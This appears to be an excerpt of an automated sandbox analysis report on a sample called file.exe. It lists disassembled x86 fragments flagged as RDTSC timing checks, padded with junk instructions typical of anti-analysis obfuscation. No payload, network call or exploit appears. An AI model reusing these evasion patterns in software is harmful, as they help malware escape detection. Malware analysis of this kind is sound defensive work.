Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1539 second address: 10F15B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5C287768E8h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F5C287768D8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push esi 0x0000002a mov edx, dword ptr [ebp+122D3600h] 0x00000030 pop ecx 0x00000031 mov edx, dword ptr [ebp+122D385Ch] 0x00000037 push 0000001Eh 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007F5C287768D8h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 mov dword ptr [ebp+122D348Ch], edx 0x00000059 nop 0x0000005a push ecx 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F15B8 second address: 10F15BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F190C second address: 10F1911 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1911 second address: 10D595E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F5C289E2D18h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov edx, dword ptr [ebp+122D2B6Dh] 0x0000002a lea eax, dword ptr [ebp+1248330Ch] 0x00000030 mov dword ptr [ebp+122D2E25h], eax 0x00000036 push eax 0x00000037 push ecx 0x00000038 jmp 00007F5C289E2D29h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp], eax 0x00000041 add dword ptr [ebp+1245BD1Eh], edi 0x00000047 call dword ptr [ebp+122D3776h] 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 jmp 00007F5C289E2D23h 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BDFF second address: 113BE1B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F5C287768DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edi 0x0000000d js 00007F5C287768DCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BF33 second address: 113BF69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F5C289E2D1Ch 0x0000000f pushad 0x00000010 jmp 00007F5C289E2D1Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C0B9 second address: 113C0CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C287768E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C0CE second address: 113C0D8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5C289E2D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C25F second address: 113C269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EEFE second address: 113EF07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EF07 second address: 113EF11 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5C287768EEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EBF1 second address: 113EBFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EBFF second address: 113EC18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5C287768E3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EC18 second address: 113EC2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D1Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EC2C second address: 113EC30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1142011 second address: 1142026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D21h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1142026 second address: 1142037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1142037 second address: 114204E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5C289E2D20h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11418D8 second address: 11418F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jns 00007F5C287768D6h 0x0000000b jmp 00007F5C287768DFh 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11418F5 second address: 1141923 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop edi 0x00000008 jnc 00007F5C289E2D1Eh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F5C289E2D1Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007F5C289E2D16h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141923 second address: 1141934 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F5C287768DBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141934 second address: 1141939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141CFC second address: 1141D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141D02 second address: 1141D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11489FA second address: 1148A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1148A03 second address: 1148A18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D1Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1148A18 second address: 1148A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147867 second address: 114787A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F5C289E2D1Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F132F second address: 10F134F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F13D8 second address: 10F13DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F13DC second address: 10F13E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147CBF second address: 1147CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5C289E2D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147CCB second address: 1147CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5C287768E0h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147CE8 second address: 1147D02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D26h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1148770 second address: 1148775 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114BD2E second address: 114BD46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D23h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115129D second address: 11512B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F5C287768DAh 0x0000000b jnp 00007F5C287768D6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150939 second address: 115093E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115093E second address: 1150943 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150CE2 second address: 1150CE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150CE8 second address: 1150CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150CEE second address: 1150CF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F5C289E2D16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150CF9 second address: 1150D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jnp 00007F5C287768DCh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 jmp 00007F5C287768E4h 0x00000019 ja 00007F5C287768D6h 0x0000001f pop ecx 0x00000020 pushad 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150D36 second address: 1150D3B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150D3B second address: 1150D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007F5C287768D6h 0x00000010 je 00007F5C287768D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115101B second address: 1151021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151021 second address: 1151025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A544 second address: 115A548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11584E1 second address: 1158501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5C287768D6h 0x0000000a jmp 00007F5C287768E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158666 second address: 1158681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 jng 00007F5C289E2D16h 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f push esi 0x00000010 js 00007F5C289E2D18h 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115962D second address: 1159666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F5C287768DFh 0x0000000b jc 00007F5C287768D6h 0x00000011 pop edx 0x00000012 pushad 0x00000013 jnp 00007F5C287768D6h 0x00000019 jmp 00007F5C287768E4h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159949 second address: 1159958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5C289E2D16h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159958 second address: 115995C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C2D second address: 1159C44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D1Eh 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159F63 second address: 1159F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159F67 second address: 1159F6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159F6B second address: 1159F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A23D second address: 115A255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jl 00007F5C289E2D16h 0x00000011 jnp 00007F5C289E2D16h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A255 second address: 115A26D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C287768E3h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D602 second address: 115D61F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5C289E2D1Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F5C289E2D16h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D7D8 second address: 115D7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D7DC second address: 115D7FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5C289E2D26h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DD0C second address: 115DD2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5C287768E6h 0x00000008 jl 00007F5C287768D6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DE70 second address: 115DE80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D1Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DE80 second address: 115DE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DE8A second address: 115DE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E13D second address: 115E149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F5C287768D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E149 second address: 115E16C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007F5C289E2D16h 0x00000009 pop edx 0x0000000a jnc 00007F5C289E2D1Eh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B95A second address: 116B965 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169A17 second address: 1169A2D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5C289E2D20h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169A2D second address: 1169A39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F5C287768D6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169B9F second address: 1169BA4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169BA4 second address: 1169BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169E37 second address: 1169E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169E3B second address: 1169E52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5C287768DDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169E52 second address: 1169E6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C289E2D25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A14F second address: 116A162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F5C287768D6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A76D second address: 116A773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A8D4 second address: 116A8FD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5C287768D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5C287768E4h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007F5C287768D6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B07E second address: 116B084 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116954B second address: 116954F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116954F second address: 1169557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171F75 second address: 1171F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171F79 second address: 1171F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171A9B second address: 1171AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5C287768E2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171AA7 second address: 1171AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5C289E2D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171C1A second address: 1171C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C287768E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171C2E second address: 1171C45 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5C289E2D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d jc 00007F5C289E2D16h 0x00000013 pop edi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F6D2 second address: 117F6F3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5C287768D6h 0x00000008 jmp 00007F5C287768E7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F6F3 second address: 117F6F8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F6F8 second address: 117F723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C287768E3h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007F5C287768E0h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F723 second address: 117F734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F5C289E2D18h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F230 second address: 117F23C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F5C287768D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
